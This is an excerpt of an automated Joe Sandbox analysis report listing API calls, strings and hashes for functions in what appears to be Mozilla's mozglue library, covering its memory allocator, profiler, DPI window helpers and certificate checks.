CryptQueryObject.CRYPT32(00000001,00000002,00000400,00000002,00000000,?,?,?,?,?,00000000), ref: 6C5B7103
free.MOZGLUE(00000000), ref: 6C5B7153
CloseHandle.KERNEL32(?), ref: 6C5B7176
__Init_thread_footer.LIBCMT ref: 6C5B7209
__Init_thread_footer.LIBCMT ref: 6C5B723A
__Init_thread_footer.LIBCMT ref: 6C5B726B
__Init_thread_footer.LIBCMT ref: 6C5B729C
__Init_thread_footer.LIBCMT ref: 6C5B72DC
__Init_thread_footer.LIBCMT ref: 6C5B730D
memset.VCRUNTIME140(?,00000000,00000110), ref: 6C5B73C2
VerSetConditionMask.NTDLL ref: 6C5B73F3
VerSetConditionMask.NTDLL ref: 6C5B73FF
VerSetConditionMask.NTDLL ref: 6C5B7406
VerSetConditionMask.NTDLL ref: 6C5B740D
VerifyVersionInfoW.KERNEL32(?,00000033,00000000), ref: 6C5B741A
moz_xmalloc.MOZGLUE(?), ref: 6C5B755A
memset.VCRUNTIME140(00000000,00000000,?), ref: 6C5B7568
CryptBinaryToStringW.CRYPT32(00000000,00000000,4000000C,00000000,?), ref: 6C5B7585
_wcsupr_s.API-MS-WIN-CRT-STRING-L1-1-0(00000000,?), ref: 6C5B7598
free.MOZGLUE(00000000), ref: 6C5B75AC

Part of subcall function 6C5DAB89: EnterCriticalSection.KERNEL32(6C62E370,?,?,?,6C5A34DE,6C62F6CC,?,?,?,?,?,?,?,6C5A3284), ref: 6C5DAB94
Part of subcall function 6C5DAB89: LeaveCriticalSection.KERNEL32(6C62E370,?,6C5A34DE,6C62F6CC,?,?,?,?,?,?,?,6C5A3284,?,?,6C5C56F6), ref: 6C5DABD1

Strings

wintrust.dll, xrefs: 6C5B72CD
SHA256, xrefs: 6C5B6EC0
CryptCATAdminReleaseCatalogContext, xrefs: 6C5B72C8
(, xrefs: 6C5B768A

Memory Dump Source

Source File: 00000000.00000002.2663913538.000000006C5A1000.00000020.00000001.01000000.0000000B.sdmp, Offset: 6C5A0000, based on PE: true

Associated: 00000000.00000002.2663863887.000000006C5A0000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000000.00000002.2663999477.000000006C61D000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000000.00000002.2664033619.000000006C62E000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000000.00000002.2664062340.000000006C632000.00000002.00000001.01000000.0000000B.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c5a0000_file.jbxd

Similarity

API ID: CryptInit_thread_footermemset$Cert$ConditionMaskmoz_xmalloc$CloseStringfree$CertificateCriticalNameObjectParamQuerySectionStore$BinaryContextCreateEnterFileFindFreeHandleInfoLeaveVerifyVersion_wcsupr_smalloc
String ID: ($CryptCATAdminReleaseCatalogContext$SHA256$wintrust.dll
API String ID: 3256780453-3980470659
Opcode ID: e9db18788376b837c45a8869f1589a6bef62bfba74220a25de14ae13e22b8532
Instruction ID: 5cee9659d234a717aa3a9afd9e7d910aa488b0cbc3a0cfb4499815407a786f80
Opcode Fuzzy Hash: e9db18788376b837c45a8869f1589a6bef62bfba74220a25de14ae13e22b8532
Instruction Fuzzy Hash: 1652F871A003149FEB21DF25CC94BAABBB8EF85704F104599E909A7640DB38AF85CF65

Function 6C5D6FF0 Relevance: 89.1, APIs: 39, Strings: 10, Instructions: 3347COMMON

Download Yara Rule

APIs

EnterCriticalSection.KERNEL32(6C62E7DC), ref: 6C5D7019
LeaveCriticalSection.KERNEL32(6C62E7DC), ref: 6C5D7061
EnterCriticalSection.KERNEL32(?), ref: 6C5D71A4
LeaveCriticalSection.KERNEL32(?), ref: 6C5D721D
memcpy.VCRUNTIME140(?,?,?), ref: 6C5D723E
EnterCriticalSection.KERNEL32(?), ref: 6C5D726C
memset.VCRUNTIME140(?,000000E5,000000FF), ref: 6C5D72B2
LeaveCriticalSection.KERNEL32(?), ref: 6C5D733F
EnterCriticalSection.KERNEL32(0000000C), ref: 6C5D73E8
LeaveCriticalSection.KERNEL32(?), ref: 6C5D961C
_errno.API-MS-WIN-CRT-RUNTIME-L1-1-0 ref: 6C5D9622
?RandomUint64@mozilla@@YA?AV?$Maybe@_K@1@XZ.MOZGLUE(?), ref: 6C5D9642
?RandomUint64@mozilla@@YA?AV?$Maybe@_K@1@XZ.MOZGLUE(?), ref: 6C5D964F
?RandomUint64@mozilla@@YA?AV?$Maybe@_K@1@XZ.MOZGLUE(?), ref: 6C5D96CE
?RandomUint64@mozilla@@YA?AV?$Maybe@_K@1@XZ.MOZGLUE(?), ref: 6C5D96DB
AcquireSRWLockExclusive.KERNEL32(6C62E804), ref: 6C5D9747
GetSystemInfo.KERNEL32(?), ref: 6C5D9792
__Init_thread_footer.LIBCMT ref: 6C5D97A5
GetEnvironmentVariableA.KERNEL32(MALLOC_OPTIONS,6C62E810,00000040), ref: 6C5D97CF
InitializeCriticalSectionAndSpinCount.KERNEL32(6C62E7B8,00001388), ref: 6C5D9838
InitializeCriticalSectionAndSpinCount.KERNEL32(6C62E744,00001388), ref: 6C5D984E
InitializeCriticalSectionAndSpinCount.KERNEL32(6C62E784,00001388), ref: 6C5D9874
InitializeCriticalSectionAndSpinCount.KERNEL32(6C62E7DC,00001388), ref: 6C5D9895

Strings

<jemalloc>, xrefs: 6C5D9B33, 6C5D9BE3
MOZ_RELEASE_ASSERT((mapelm->bits & ((size_t)0x01U)) != 0) (Double-free?), xrefs: 6C5D99BD
MALLOC_OPTIONS, xrefs: 6C5D97CA
MOZ_RELEASE_ASSERT((run->mRegionsMask[elm] & (1U << bit)) == 0) (Double-free?), xrefs: 6C5D99D2
MOZ_RELEASE_ASSERT(mNode), xrefs: 6C5D9933, 6C5D9A33, 6C5D9A4E
MOZ_CRASH(), xrefs: 6C5D9B42
Compile-time page size does not divide the runtime one., xrefs: 6C5D9B38
MOZ_RELEASE_ASSERT(!aArena || arena == aArena), xrefs: 6C5D9993
: (malloc) Unsupported character in malloc options: ', xrefs: 6C5D9BF4
MOZ_RELEASE_ASSERT((mapelm->bits & ((size_t)0x20U)) == 0) (Freeing in decommitted page.), xrefs: 6C5D99A8

Memory Dump Source

Source File: 00000000.00000002.2663913538.000000006C5A1000.00000020.00000001.01000000.0000000B.sdmp, Offset: 6C5A0000, based on PE: true

Associated: 00000000.00000002.2663863887.000000006C5A0000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000000.00000002.2663999477.000000006C61D000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000000.00000002.2664033619.000000006C62E000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000000.00000002.2664062340.000000006C632000.00000002.00000001.01000000.0000000B.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c5a0000_file.jbxd

Similarity

API ID: CriticalSection$CountEnterInitializeK@1@LeaveMaybe@_RandomSpinUint64@mozilla@@$AcquireEnvironmentExclusiveInfoInit_thread_footerLockSystemVariable_errnomemcpymemset
String ID: : (malloc) Unsupported character in malloc options: '$<jemalloc>$Compile-time page size does not divide the runtime one.$MALLOC_OPTIONS$MOZ_CRASH()$MOZ_RELEASE_ASSERT(!aArena || arena == aArena)$MOZ_RELEASE_ASSERT((mapelm->bits & ((size_t)0x01U)) != 0) (Double-free?)$MOZ_RELEASE_ASSERT((mapelm->bits & ((size_t)0x20U)) == 0) (Freeing in decommitted page.)$MOZ_RELEASE_ASSERT((run->mRegionsMask[elm] & (1U << bit)) == 0) (Double-free?)$MOZ_RELEASE_ASSERT(mNode)
API String ID: 4047164644-4173974723
Opcode ID: 0a764a7ae00d2ffb893015a2689f6f7e38a6dc351534bedea0e12686ae0ae625
Instruction ID: db984b5c3d20c7c7087a8a5ab7252641f9035fc751112e8f37139f72e9cb07d8
Opcode Fuzzy Hash: 0a764a7ae00d2ffb893015a2689f6f7e38a6dc351534bedea0e12686ae0ae625
Instruction Fuzzy Hash: DE539C71A057018FD704CF2DC990615BBE1FF8A328F2AC6ADE8698B795D731E841CB85

Function 6C5E0DD0 Relevance: 83.9, APIs: 36, Strings: 10, Instructions: 3368COMMON

Download Yara Rule

APIs

EnterCriticalSection.KERNEL32(?), ref: 6C5E0F1F
LeaveCriticalSection.KERNEL32(?), ref: 6C5E0F99
memcpy.VCRUNTIME140(?,?,?), ref: 6C5E0FB7
EnterCriticalSection.KERNEL32(?), ref: 6C5E0FE9
memset.VCRUNTIME140(?,000000E5,00000000), ref: 6C5E1031
LeaveCriticalSection.KERNEL32(?), ref: 6C5E10D0
EnterCriticalSection.KERNEL32(?), ref: 6C5E117D
memset.VCRUNTIME140(?,000000E5,?), ref: 6C5E1C39
EnterCriticalSection.KERNEL32(6C62E744), ref: 6C5E3391
LeaveCriticalSection.KERNEL32(6C62E744), ref: 6C5E33CD
LeaveCriticalSection.KERNEL32(?), ref: 6C5E3431
_errno.API-MS-WIN-CRT-RUNTIME-L1-1-0 ref: 6C5E3437

Strings

<jemalloc>, xrefs: 6C5E3941, 6C5E39F1
MOZ_RELEASE_ASSERT((mapelm->bits & ((size_t)0x01U)) != 0) (Double-free?), xrefs: 6C5E37BD
MALLOC_OPTIONS, xrefs: 6C5E35FE
MOZ_RELEASE_ASSERT((run->mRegionsMask[elm] & (1U << bit)) == 0) (Double-free?), xrefs: 6C5E37D2
MOZ_RELEASE_ASSERT(mNode), xrefs: 6C5E3559, 6C5E382D, 6C5E3848
MOZ_CRASH(), xrefs: 6C5E3950
Compile-time page size does not divide the runtime one., xrefs: 6C5E3946
MOZ_RELEASE_ASSERT(!aArena || arena == aArena), xrefs: 6C5E3793
: (malloc) Unsupported character in malloc options: ', xrefs: 6C5E3A02
MOZ_RELEASE_ASSERT((mapelm->bits & ((size_t)0x20U)) == 0) (Freeing in decommitted page.), xrefs: 6C5E37A8

Memory Dump Source

Source File: 00000000.00000002.2663913538.000000006C5A1000.00000020.00000001.01000000.0000000B.sdmp, Offset: 6C5A0000, based on PE: true

Associated: 00000000.00000002.2663863887.000000006C5A0000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000000.00000002.2663999477.000000006C61D000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000000.00000002.2664033619.000000006C62E000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000000.00000002.2664062340.000000006C632000.00000002.00000001.01000000.0000000B.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c5a0000_file.jbxd

Similarity

API ID: CriticalSection$EnterLeave$memset$_errnomemcpy
String ID: : (malloc) Unsupported character in malloc options: '$<jemalloc>$Compile-time page size does not divide the runtime one.$MALLOC_OPTIONS$MOZ_CRASH()$MOZ_RELEASE_ASSERT(!aArena || arena == aArena)$MOZ_RELEASE_ASSERT((mapelm->bits & ((size_t)0x01U)) != 0) (Double-free?)$MOZ_RELEASE_ASSERT((mapelm->bits & ((size_t)0x20U)) == 0) (Freeing in decommitted page.)$MOZ_RELEASE_ASSERT((run->mRegionsMask[elm] & (1U << bit)) == 0) (Double-free?)$MOZ_RELEASE_ASSERT(mNode)
API String ID: 3040639385-4173974723
Opcode ID: 834a93480f465204020fb9a3d153ab3dc3bf58be406ef50491b0408c13afe876
Instruction ID: 5f342d523127de6c28f03d1c147bdb87026a286910bcf43042b90002f6730f0d
Opcode Fuzzy Hash: 834a93480f465204020fb9a3d153ab3dc3bf58be406ef50491b0408c13afe876
Instruction Fuzzy Hash: 10538F71A057028FD304CF29C940616FBE1FF89328F29C66DE8A99B7A5D775E841CB81

Function 6C6055F0 Relevance: 77.2, APIs: 22, Strings: 22, Instructions: 163
libraryloaderCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

LoadLibraryW.KERNEL32(user32,?,6C5DE1A5), ref: 6C605606
LoadLibraryW.KERNEL32(gdi32,?,6C5DE1A5), ref: 6C60560F
GetProcAddress.KERNEL32(00000000,GetThreadDpiAwarenessContext), ref: 6C605633
GetProcAddress.KERNEL32(00000000,AreDpiAwarenessContextsEqual), ref: 6C60563D
GetProcAddress.KERNEL32(00000000,EnableNonClientDpiScaling), ref: 6C60566C
GetProcAddress.KERNEL32(00000000,GetSystemMetricsForDpi), ref: 6C60567D
GetProcAddress.KERNEL32(00000000,GetDpiForWindow), ref: 6C605696
GetProcAddress.KERNEL32(00000000,RegisterClassW), ref: 6C6056B2
GetProcAddress.KERNEL32(00000000,CreateWindowExW), ref: 6C6056CB
GetProcAddress.KERNEL32(00000000,ShowWindow), ref: 6C6056E4
GetProcAddress.KERNEL32(00000000,SetWindowPos), ref: 6C6056FD
GetProcAddress.KERNEL32(00000000,GetWindowDC), ref: 6C605716
GetProcAddress.KERNEL32(00000000,FillRect), ref: 6C60572F
GetProcAddress.KERNEL32(00000000,ReleaseDC), ref: 6C605748
GetProcAddress.KERNEL32(00000000,LoadIconW), ref: 6C605761
GetProcAddress.KERNEL32(00000000,LoadCursorW), ref: 6C60577A
GetProcAddress.KERNEL32(00000000,MonitorFromWindow), ref: 6C605793
GetProcAddress.KERNEL32(00000000,GetMonitorInfoW), ref: 6C6057A8
GetProcAddress.KERNEL32(00000000,SetWindowLongPtrW), ref: 6C6057BD
GetProcAddress.KERNEL32(?,StretchDIBits), ref: 6C6057D5
GetProcAddress.KERNEL32(?,CreateSolidBrush), ref: 6C6057EA
GetProcAddress.KERNEL32(?,DeleteObject), ref: 6C6057FF

Strings

GetDpiForWindow, xrefs: 6C605690
LoadCursorW, xrefs: 6C605774
gdi32, xrefs: 6C60560A
GetThreadDpiAwarenessContext, xrefs: 6C60562D
DeleteObject, xrefs: 6C6057F9
EnableNonClientDpiScaling, xrefs: 6C605666
AreDpiAwarenessContextsEqual, xrefs: 6C605637
user32, xrefs: 6C605601
GetWindowDC, xrefs: 6C605710
MonitorFromWindow, xrefs: 6C60578D
RegisterClassW, xrefs: 6C6056AC
SetWindowPos, xrefs: 6C6056F7
FillRect, xrefs: 6C605729
StretchDIBits, xrefs: 6C6057CC
ReleaseDC, xrefs: 6C605742
GetSystemMetricsForDpi, xrefs: 6C605677
GetMonitorInfoW, xrefs: 6C6057A2
CreateWindowExW, xrefs: 6C6056C5
ShowWindow, xrefs: 6C6056DE
CreateSolidBrush, xrefs: 6C6057E4
LoadIconW, xrefs: 6C60575B
SetWindowLongPtrW, xrefs: 6C6057B7

Memory Dump Source

Source File: 00000000.00000002.2663913538.000000006C5A1000.00000020.00000001.01000000.0000000B.sdmp, Offset: 6C5A0000, based on PE: true

Associated: 00000000.00000002.2663863887.000000006C5A0000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000000.00000002.2663999477.000000006C61D000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000000.00000002.2664033619.000000006C62E000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000000.00000002.2664062340.000000006C632000.00000002.00000001.01000000.0000000B.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c5a0000_file.jbxd

Similarity

API ID: AddressProc$LibraryLoad
String ID: AreDpiAwarenessContextsEqual$CreateSolidBrush$CreateWindowExW$DeleteObject$EnableNonClientDpiScaling$FillRect$GetDpiForWindow$GetMonitorInfoW$GetSystemMetricsForDpi$GetThreadDpiAwarenessContext$GetWindowDC$LoadCursorW$LoadIconW$MonitorFromWindow$RegisterClassW$ReleaseDC$SetWindowLongPtrW$SetWindowPos$ShowWindow$StretchDIBits$gdi32$user32
API String ID: 2238633743-1964193996
Opcode ID: 5f31fe26e2d003e74035fbced6d182f54367423d02501a6350efa2aa51eff81e
Instruction ID: e1c1dbc385d333ab9905a20563842b1352d83a7447740f029dd45e8d96408e9b
Opcode Fuzzy Hash: 5f31fe26e2d003e74035fbced6d182f54367423d02501a6350efa2aa51eff81e
Instruction Fuzzy Hash: 7F512F707153239BDB049F368E9492A3AFCFF46385B144425AD62F2A55EB7CC8018F6D

Function 6C6034A0 Relevance: 61.0, APIs: 33, Strings: 1, Instructions: 1467COMMON

Download Yara Rule

APIs

floor.API-MS-WIN-CRT-MATH-L1-1-0 ref: 6C603527
floor.API-MS-WIN-CRT-MATH-L1-1-0 ref: 6C60355B
floor.API-MS-WIN-CRT-MATH-L1-1-0 ref: 6C6035BC
floor.API-MS-WIN-CRT-MATH-L1-1-0 ref: 6C6035E0
floor.API-MS-WIN-CRT-MATH-L1-1-0 ref: 6C60363A
floor.API-MS-WIN-CRT-MATH-L1-1-0 ref: 6C603693
floor.API-MS-WIN-CRT-MATH-L1-1-0 ref: 6C6036CD
floor.API-MS-WIN-CRT-MATH-L1-1-0 ref: 6C603703
floor.API-MS-WIN-CRT-MATH-L1-1-0 ref: 6C60373C
floor.API-MS-WIN-CRT-MATH-L1-1-0 ref: 6C603775
floor.API-MS-WIN-CRT-MATH-L1-1-0 ref: 6C60378F
floor.API-MS-WIN-CRT-MATH-L1-1-0 ref: 6C603892
floor.API-MS-WIN-CRT-MATH-L1-1-0 ref: 6C6038BB
floor.API-MS-WIN-CRT-MATH-L1-1-0 ref: 6C603902
floor.API-MS-WIN-CRT-MATH-L1-1-0 ref: 6C603939
floor.API-MS-WIN-CRT-MATH-L1-1-0 ref: 6C603970
floor.API-MS-WIN-CRT-MATH-L1-1-0 ref: 6C6039EF
floor.API-MS-WIN-CRT-MATH-L1-1-0 ref: 6C603A26
floor.API-MS-WIN-CRT-MATH-L1-1-0 ref: 6C603AE5
floor.API-MS-WIN-CRT-MATH-L1-1-0 ref: 6C603E85
floor.API-MS-WIN-CRT-MATH-L1-1-0 ref: 6C603EBA
floor.API-MS-WIN-CRT-MATH-L1-1-0 ref: 6C603EE2

Part of subcall function 6C606180: malloc.API-MS-WIN-CRT-HEAP-L1-1-0(00000024), ref: 6C6061DD
Part of subcall function 6C606180: memcpy.VCRUNTIME140(00000000,00000024,-00000070), ref: 6C60622C

floor.API-MS-WIN-CRT-MATH-L1-1-0 ref: 6C6040F9
floor.API-MS-WIN-CRT-MATH-L1-1-0 ref: 6C60412F
floor.API-MS-WIN-CRT-MATH-L1-1-0 ref: 6C604157

Part of subcall function 6C606180: malloc.API-MS-WIN-CRT-HEAP-L1-1-0(00000001), ref: 6C606250
Part of subcall function 6C606180: free.API-MS-WIN-CRT-HEAP-L1-1-0(?), ref: 6C606292

floor.API-MS-WIN-CRT-MATH-L1-1-0 ref: 6C60441B
floor.API-MS-WIN-CRT-MATH-L1-1-0 ref: 6C604448
free.API-MS-WIN-CRT-HEAP-L1-1-0 ref: 6C60484E
free.API-MS-WIN-CRT-HEAP-L1-1-0 ref: 6C604863
free.API-MS-WIN-CRT-HEAP-L1-1-0 ref: 6C604878
free.API-MS-WIN-CRT-HEAP-L1-1-0 ref: 6C604896
free.MOZGLUE ref: 6C60489F

Strings

, xrefs: 6C604CD2

Memory Dump Source

Source File: 00000000.00000002.2663913538.000000006C5A1000.00000020.00000001.01000000.0000000B.sdmp, Offset: 6C5A0000, based on PE: true

Associated: 00000000.00000002.2663863887.000000006C5A0000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000000.00000002.2663999477.000000006C61D000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000000.00000002.2664033619.000000006C62E000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000000.00000002.2664062340.000000006C632000.00000002.00000001.01000000.0000000B.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c5a0000_file.jbxd

Similarity

API ID: floor$free$malloc$memcpy
String ID:
API String ID: 3842999660-3916222277
Opcode ID: a77a4636c5e8f496d2a7e7b3d54850f007eb2ebb50ed04f86416adf89aa6c806
Instruction ID: 514d5fe999441bd1159f5f7daad6de1aa1c71b464e0b6611e837ccad0285a7c9
Opcode Fuzzy Hash: a77a4636c5e8f496d2a7e7b3d54850f007eb2ebb50ed04f86416adf89aa6c806
Instruction Fuzzy Hash: 1DF24C74908780CFC735CF29C18469AFBF1BF9A304F118A5ED989A7711DB719886CB46

Function 6C5EF070 Relevance: 59.9, APIs: 30, Strings: 4, Instructions: 412
threadtimeCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

?Now@TimeStamp@mozilla@@CA?AV12@_N@Z.MOZGLUE(?,00000001), ref: 6C5EF09B

Part of subcall function 6C5C5B50: QueryPerformanceCounter.KERNEL32(?,?,?,?,6C5C56EE,?,00000001), ref: 6C5C5B85
Part of subcall function 6C5C5B50: EnterCriticalSection.KERNEL32(6C62F688,?,?,?,6C5C56EE,?,00000001), ref: 6C5C5B90
Part of subcall function 6C5C5B50: LeaveCriticalSection.KERNEL32(6C62F688,?,?,?,6C5C56EE,?,00000001), ref: 6C5C5BD8
Part of subcall function 6C5C5B50: GetTickCount64.KERNEL32 ref: 6C5C5BE4

??GTimeStampValue@mozilla@@QBE_KABV01@@Z.MOZGLUE(00000000), ref: 6C5EF0AC

Part of subcall function 6C5C5C50: GetTickCount64.KERNEL32 ref: 6C5C5D40
Part of subcall function 6C5C5C50: EnterCriticalSection.KERNEL32(6C62F688), ref: 6C5C5D67

??GTimeStampValue@mozilla@@QBE_KABV01@@Z.MOZGLUE(00000000,00000000), ref: 6C5EF0BE

Part of subcall function 6C5C5C50: __aulldiv.LIBCMT ref: 6C5C5DB4
Part of subcall function 6C5C5C50: LeaveCriticalSection.KERNEL32(6C62F688), ref: 6C5C5DED

?ToSeconds@BaseTimeDurationPlatformUtils@mozilla@@SAN_J@Z.MOZGLUE(?,?), ref: 6C5EF155
GetCurrentThreadId.KERNEL32 ref: 6C5EF1E0
AcquireSRWLockExclusive.KERNEL32(6C62F4B8), ref: 6C5EF1ED
ReleaseSRWLockExclusive.KERNEL32(6C62F4B8), ref: 6C5EF212
GetCurrentThreadId.KERNEL32 ref: 6C5EF229
_getpid.API-MS-WIN-CRT-RUNTIME-L1-1-0 ref: 6C5EF231
?profiler_time@baseprofiler@mozilla@@YANXZ.MOZGLUE ref: 6C5EF248
GetCurrentThreadId.KERNEL32 ref: 6C5EF2AE
AcquireSRWLockExclusive.KERNEL32(6C62F4B8), ref: 6C5EF2BB
ReleaseSRWLockExclusive.KERNEL32(6C62F4B8), ref: 6C5EF2F8

Part of subcall function 6C5DCBE8: GetCurrentProcess.KERNEL32(?,6C5A31A7), ref: 6C5DCBF1
Part of subcall function 6C5DCBE8: TerminateProcess.KERNEL32(00000000,00000003,?,6C5A31A7), ref: 6C5DCBFA

Part of subcall function 6C5E9420: getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_BASE_PROFILER_VERBOSE_LOGGING,6C5B4A68), ref: 6C5E945E
Part of subcall function 6C5E9420: getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_BASE_PROFILER_DEBUG_LOGGING), ref: 6C5E9470
Part of subcall function 6C5E9420: getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_BASE_PROFILER_LOGGING), ref: 6C5E9482
Part of subcall function 6C5E9420: __Init_thread_footer.LIBCMT ref: 6C5E949F

GetCurrentThreadId.KERNEL32 ref: 6C5EF350
AcquireSRWLockExclusive.KERNEL32(6C62F4B8), ref: 6C5EF35D
ReleaseSRWLockExclusive.KERNEL32(6C62F4B8), ref: 6C5EF381
GetCurrentThreadId.KERNEL32 ref: 6C5EF398
_getpid.API-MS-WIN-CRT-RUNTIME-L1-1-0 ref: 6C5EF3A0
GetCurrentThreadId.KERNEL32 ref: 6C5EF489
_getpid.API-MS-WIN-CRT-RUNTIME-L1-1-0 ref: 6C5EF491

Part of subcall function 6C5E94D0: __acrt_iob_func.API-MS-WIN-CRT-STDIO-L1-1-0(00000002,00000000,00000000), ref: 6C5E94EE
Part of subcall function 6C5E94D0: __stdio_common_vfprintf.API-MS-WIN-CRT-STDIO-L1-1-0(00000000,?,00000000,00000000,00000000,?), ref: 6C5E9508

?profiler_time@baseprofiler@mozilla@@YANXZ.MOZGLUE ref: 6C5EF3CF

Part of subcall function 6C5EF070: GetCurrentThreadId.KERNEL32 ref: 6C5EF440
Part of subcall function 6C5EF070: AcquireSRWLockExclusive.KERNEL32(6C62F4B8), ref: 6C5EF44D
Part of subcall function 6C5EF070: ReleaseSRWLockExclusive.KERNEL32(6C62F4B8), ref: 6C5EF472

?profiler_time@baseprofiler@mozilla@@YANXZ.MOZGLUE ref: 6C5EF4A8
GetCurrentThreadId.KERNEL32 ref: 6C5EF559
_getpid.API-MS-WIN-CRT-RUNTIME-L1-1-0 ref: 6C5EF561
GetCurrentThreadId.KERNEL32 ref: 6C5EF577
AcquireSRWLockExclusive.KERNEL32(6C62F4B8), ref: 6C5EF585
ReleaseSRWLockExclusive.KERNEL32(6C62F4B8), ref: 6C5EF5A3

Strings

[I %d/%d] profiler_resume_sampling, xrefs: 6C5EF499
[I %d/%d] profiler_resume, xrefs: 6C5EF239
[D %d/%d] profiler_add_sampled_counter(%s), xrefs: 6C5EF56A
[I %d/%d] profiler_pause_sampling, xrefs: 6C5EF3A8

Memory Dump Source

Source File: 00000000.00000002.2663913538.000000006C5A1000.00000020.00000001.01000000.0000000B.sdmp, Offset: 6C5A0000, based on PE: true

Associated: 00000000.00000002.2663863887.000000006C5A0000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000000.00000002.2663999477.000000006C61D000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000000.00000002.2664033619.000000006C62E000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000000.00000002.2664062340.000000006C632000.00000002.00000001.01000000.0000000B.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c5a0000_file.jbxd

Similarity

API ID: CurrentExclusiveLock$Thread$AcquireRelease$CriticalSectionTime_getpid$?profiler_time@baseprofiler@mozilla@@getenv$Count64EnterLeaveProcessStampTickV01@@Value@mozilla@@$BaseCounterDurationInit_thread_footerNow@PerformancePlatformQuerySeconds@Stamp@mozilla@@TerminateUtils@mozilla@@V12@___acrt_iob_func__aulldiv__stdio_common_vfprintf
String ID: [D %d/%d] profiler_add_sampled_counter(%s)$[I %d/%d] profiler_pause_sampling$[I %d/%d] profiler_resume$[I %d/%d] profiler_resume_sampling
API String ID: 565197838-2840072211
Opcode ID: 12276fc93db9fb532e6e1549d4b0777858a09bc791726fd82e799b26cac81031
Instruction ID: 2b42dbcddee667c7de4eb933c4d2a3b15098744940708d25c611d259559f1f8a
Opcode Fuzzy Hash: 12276fc93db9fb532e6e1549d4b0777858a09bc791726fd82e799b26cac81031
Instruction Fuzzy Hash: 72D11871704314CFDB009F6AD884799B7B8EF8A368F10462AE95583B81DB785805CBAF

Function 6C5B64C0 Relevance: 52.9, APIs: 24, Strings: 6, Instructions: 406memoryCOMMON

Download Yara Rule

APIs

GetModuleHandleW.KERNEL32(detoured.dll), ref: 6C5B64DF
GetModuleHandleW.KERNEL32(_etoured.dll), ref: 6C5B64F2
GetModuleHandleW.KERNEL32(nvd3d9wrap.dll), ref: 6C5B6505
GetModuleHandleW.KERNEL32(nvdxgiwrap.dll), ref: 6C5B6518
GetModuleHandleW.KERNEL32(user32.dll), ref: 6C5B652B
memcpy.VCRUNTIME140(?,?,?), ref: 6C5B671C
GetCurrentProcess.KERNEL32 ref: 6C5B6724
FlushInstructionCache.KERNEL32(00000000,00000000,00000000), ref: 6C5B672F
GetCurrentProcess.KERNEL32 ref: 6C5B6759
FlushInstructionCache.KERNEL32(00000000,00000000,00000000), ref: 6C5B6764
VirtualProtect.KERNEL32(?,00000000,?,?), ref: 6C5B6A80
GetSystemInfo.KERNEL32(?), ref: 6C5B6ABE
__Init_thread_footer.LIBCMT ref: 6C5B6AD3
free.API-MS-WIN-CRT-HEAP-L1-1-0(?), ref: 6C5B6AE8
free.API-MS-WIN-CRT-HEAP-L1-1-0(?), ref: 6C5B6AF7

Strings

SOFTWARE\Microsoft\Windows NT\CurrentVersion\Windows, xrefs: 6C5B6798
detoured.dll, xrefs: 6C5B64DA
_etoured.dll, xrefs: 6C5B64ED
nvdxgiwrap.dll, xrefs: 6C5B6513
nvd3d9wrap.dll, xrefs: 6C5B6500
user32.dll, xrefs: 6C5B6526

Memory Dump Source

Source File: 00000000.00000002.2663913538.000000006C5A1000.00000020.00000001.01000000.0000000B.sdmp, Offset: 6C5A0000, based on PE: true

Associated: 00000000.00000002.2663863887.000000006C5A0000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000000.00000002.2663999477.000000006C61D000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000000.00000002.2664033619.000000006C62E000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000000.00000002.2664062340.000000006C632000.00000002.00000001.01000000.0000000B.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c5a0000_file.jbxd

Similarity

API ID: HandleModule$CacheCurrentFlushInstructionProcessfree$InfoInit_thread_footerProtectSystemVirtualmemcpy
String ID: SOFTWARE\Microsoft\Windows NT\CurrentVersion\Windows$_etoured.dll$detoured.dll$nvd3d9wrap.dll$nvdxgiwrap.dll$user32.dll
API String ID: 487479824-2878602165
Opcode ID: ca73a7093b382ed83c723d16b3df9c4f2fe0bca1bb134f73bcd6d5722b58a9e1
Instruction ID: 3dcb60dd157ef0e3dbc2a2d1f6c18e361f17a726a44e9985278faabe34b19c1f
Opcode Fuzzy Hash: ca73a7093b382ed83c723d16b3df9c4f2fe0bca1bb134f73bcd6d5722b58a9e1
Instruction Fuzzy Hash: B2F10370901319DFDB24CF25CD98B9ABBB4EF46308F1442A9D809B3681DB31AE85CF95

Function 6C5CD850 Relevance: 48.4, APIs: 21, Strings: 6, Instructions: 1109COMMON

Download Yara Rule

APIs

